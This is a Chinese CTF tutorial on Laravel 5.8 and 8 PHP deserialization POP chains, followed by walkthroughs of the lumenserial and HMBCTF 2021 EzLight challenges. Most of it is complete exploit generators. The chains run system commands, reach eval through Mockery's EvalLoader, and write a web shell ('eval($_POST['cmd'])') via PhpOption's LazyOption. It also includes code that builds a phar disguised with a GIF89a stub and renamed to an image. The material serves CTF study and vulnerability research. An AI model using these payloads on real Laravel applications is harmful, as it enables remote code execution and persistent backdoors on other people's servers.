通过几道CTF题学习Laravel框架

Laravel5.8.x反序列化POP链

安装：其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {
    if(isset($_GET['c'])){
        $code = $_GET['c'];
        unserialize($code);
    }
    else{
        highlight_file(__FILE__);
    }
    return "Test laravel5.8 pop";
});

然后在public目录起一个php服务就可以进行测试了

cd /public
php -S 0.0.0.0:port
/foo?c=

链一

链的入口是在laravel5.8vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这里的$this->events和$this->event可控，这里把$this->events设为含有dispatch方法的Dispatcher类，我们看到laravel5.8vendorlaravelframeworksrcIlluminateBusDispatcher.php来

public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }
        return $this->dispatchNow($command);
    }

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }

这里要求$command（即传进来的$this->event）要实现ShouldQueue该接口

满足ShouldQueue接口的实现类即可，再跟踪进dispatchToQueue看一下

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;
​
        $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver和$connection都是可控的，到这里就可以直接构造payload

rce

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}
namespace IlluminateBus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace {
    $c = new IlluminateBroadcastingBroadcastEvent('whoami');
    $b = new IlluminateBusDispatcher('system');
    $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}

eval执行

到这里已经可以调用任意类的任意方法了，但是call_user_func无法执行eval函数，如果我们的system被ban了的话，就需要继续寻找执行任意命令的函数，我们找到laravel5.8vendormockerymockerylibraryMockeryLoaderEvalLoader.php

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }
​
        eval("?>" . $definition->getCode());
    }
}

这里有一个eval函数，这里需要绕过eval上面的if语句，否则直接就return了

$definition变量是MockDefinition类，跟进一下

class MockDefinition
{
    protected $config;
    protected $code;
    ...
    public function getClassName()
    {
        return $this->config->getName();
    }
    public function getCode()
    {
        return $this->code;
    }
}

这里$code，$config可控，但是呢$definition->getClassName()需要一个不存在的类，我们找一个类其getName是可控的，然后构造一个不存在的类即可，如下

laravel5.8vendormockerymockerylibraryMockeryGeneratorMockConfiguration.php

class MockConfiguration
{
    ...
public function getName()
    {
        return $this->name;
    }
    ...
}

payload如下

<?php
namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace IlluminateBroadcasting{
    class BroadcastEvent
    {
        public $connection;
​
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace IlluminateBus{
    class Dispatcher
    {
        protected $queueResolver;
​
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace MockeryGenerator{
    class MockDefinition
    {
        protected $config;
        protected $code;
​
        public function __construct(MockConfiguration $config)
        {
            $this->config = $config;
            $this->code = '<?php phpinfo();?>';
        }
    }
}
​
namespace MockeryGenerator{
    class MockConfiguration
    {
        protected $name = "none class";
    }
}
​
namespace MockeryLoader{
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {
​
        }
    }
}
namespace {
    $config = new MockeryGeneratorMockConfiguration();
    $connection = new MockeryGeneratorMockDefinition($config);
    $event = new IlluminateBroadcastingBroadcastEvent($connection);
    $queueResolver = array(new MockeryLoaderEvalLoader(),"load");
    $events = new IlluminateBusDispatcher($queueResolver);
    $pendingBroadcast = new IlluminateBroadcastingPendingBroadcast($events, $event);
    echo urlencode(serialize($pendingBroadcast));
}

利用跳板

如果说靶机禁用了system等函数，我们希望用file_put_contents写shell等双参数的函数呢，这里有一个好的跳板laravel5.8vendorphpoptionphpoptionsrcPhpOptionLazyOption.php

final class LazyOption extends Option
{
    ...
    public function filter($callable)
    {
        return $this->option()->filter($callable);
    }
    ...
private function option()
    {
        if (null === $this->option) {
            /** @var mixed */
            $option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback，$this->arguments是可控的，但是注意到option的属性是private，无法直接从我们刚刚的call_user_func直接去调用它，但是有许多类似filter的函数里面有调用option的

这里可以直接构造payload

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}
namespace IlluminateBus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        public function __construct($callback, $arguments)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}
namespace {
    $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);
    $c = new IlluminateBroadcastingBroadcastEvent('whoami');
    $b = new IlluminateBusDispatcher(array($d,"filter"));
    $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}

链二

入口同样是

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这里转换思路，找某个类没有实现dispatch方法却有__call方法，这里就可以直接调用，找到laravel5.8vendorlaravelframeworksrcIlluminateValidationValidator.php

class Validator implements ValidatorContract
{
    ...
public function __call($method, $parameters)
    {
        $rule = Str::snake(substr($method, 8));
​
        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }

这里的$method是固定的字符串dispatch，传到$rule的时候为空，然后$this->extensions可控

跟踪进callExtension方法

protected function callExtension($rule, $parameters)
    {
        $callback = $this->extensions[$rule];
​
        if (is_callable($callback)) {
            return call_user_func_array($callback, $parameters);

$callback和$parameters可控，于是就可以构造payload了

<?php
namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
​
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
​
namespace IlluminateValidation{
    class Validator{
        protected $extensions;
        public function __construct($extensions)
        {
            $this->extensions = $extensions;
        }
    }
}
​
namespace{
    $b = new IlluminateValidationValidator(array(''=>'system'));
    $a = new IlluminateBroadcastingPendingBroadcast($b, 'id');
    echo urlencode(serialize($a));
}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
​
namespace IlluminateValidation {
    class Validator {
        public $extensions;
        public function __construct($extensions){
            $this->extensions = $extensions;
        }
    }
}
​
namespace PhpOption {
    class LazyOption {
        private $callback;
        private $arguments;
        public function __construct($callback, $arguments) {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}
​
namespace {
    $c = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);
    $b = new IlluminateValidationValidator(array(''=>array($c, 'filter')));
    $a = new IlluminateBroadcastingPendingBroadcast($b, 'whoami');
    print(urlencode(serialize($a)));
}

Laravel8反序列化POP链

在下面参考链接文章中Laravel8有介绍三条链都很详细，链和上面Laravel5.8也差不太多，就不赘述，然后有一条可以phpnfo的，同样是经典入口类

laravel859vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这里的$this->events和$this->event可控

同样这里有两种方法，要不使$this->events为某个拥有dispatch方法的类，我们可以调用这个类的dispatch方法

要不就使$this->events为某个类，并且该类没有实现dispatch方法却有__call方法，那么就可以调用这个__call方法了

看到laravel859vendorlaravelframeworksrcIlluminateViewInvokableComponentVariable.php

public function __call($method, $parameters)
    {
        return $this->__invoke()->{$method}(...$parameters);
    }
​
    /**
     * Resolve the variable.
     *
     * @return mixed
     */
    public function __invoke()
    {
        return call_user_func($this->callable);
    }

这里的_call会直接调用__invoke，$this->callable也是我们可控的，不过这里只能调用phpinfo，比较鸡肋，payload如下

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace IlluminateView {
    class InvokableComponentVariable {
        protected $callable;
        public function __construct($callable)
    {
        $this->callable = $callable;
    }
    }
}
​
namespace {
    $b = new IlluminateViewInvokableComponentVariable('phpinfo');
    $a = new IlluminateBroadcastingPendingBroadcast($b, 1);
    print(urlencode(serialize($a)));
}

因为这里我们只能控制$this->callable，想要rce的话，还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的，但是这里我找了好像没找到，读者有兴趣可以去试试

CTF题目

lumenserial

lumenserial outesweb.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

再看到

lumenserialappHttpControllersEditorController.php

class EditorController extends Controller
{
private function download($url)
    {
...
        $content = file_get_contents($url);

发现这里的$url传进file_get_contents可以phar反序列化，然后$url的值来源于doCatchimage 方法中的 $sources 变量

class EditorController extends Controller
{
    ...
protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];
​
        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }

我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller
{
    ...
public function main(Request $request)
    {
        $action = $request->query('action');
​
        try {
            if (is_string($action) && method_exists($this, "do{$action}")) {
                return call_user_func([$this, "do{$action}"], $request);
            } else {

可以通过如下控制变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的基础加上如下

@unlink("test.phar");
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();

上传phar文件再用phar协议打即可

[HMBCTF 2021]EzLight

给了source.zip源码，是laravel框架开发的lightcms，先在本地把环境搭起来先，主要是修改.env文件改改数据库信息

先看到sourcesourceappHttpControllersAdminNEditorController.php

public function catchImage(Request $request)
    {
    ...
    $files = array_unique((array) $request->post('file'));
        $urls = [];
        foreach ($files as $v) {
            $image = $this->fetchImageFile($v);

在catchImage函数里面以post传给file参数再给到fetchImageFile的$url

protected function fetchImageFile($url)
    {
    if (isWebp($data)) {
                $image = Image::make(imagecreatefromwebp($url));
                $extension = 'webp';
            } else {
                $image = Image::make($data);
            }

这里的$url可控，这里imagecreatefromwebp因为isWebp的限制无法进入，所以这里的分支是进入Image::make($data);来，我们在此处下一个断点，然后分析一下前面的代码，我们需要在vps上放一个图片的链接，然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一直跟进就可以发现有个file_get_contents函数

至此结束，这里可以phar反序列化了

用上面的链一即可

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}
namespace IlluminateBus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        public function __construct($callback, $arguments)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}
namespace {
    $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval($_POST['cmd']);?>"]);
    $c = new IlluminateBroadcastingBroadcastEvent('whoami');
    $b = new IlluminateBusDispatcher(array($d,"filter"));
    $a = new IlluminateBroadcastingPendingBroadcast($b, $c);
    print(urlencode(serialize($a)));

    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
    $phar->setMetadata($a);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();
    rename('test.phar','test.jpg');
}

上传之后，在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImage用file传参打就可以了

本文涉及相关实验：PHP反序列化漏洞实验 （通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。）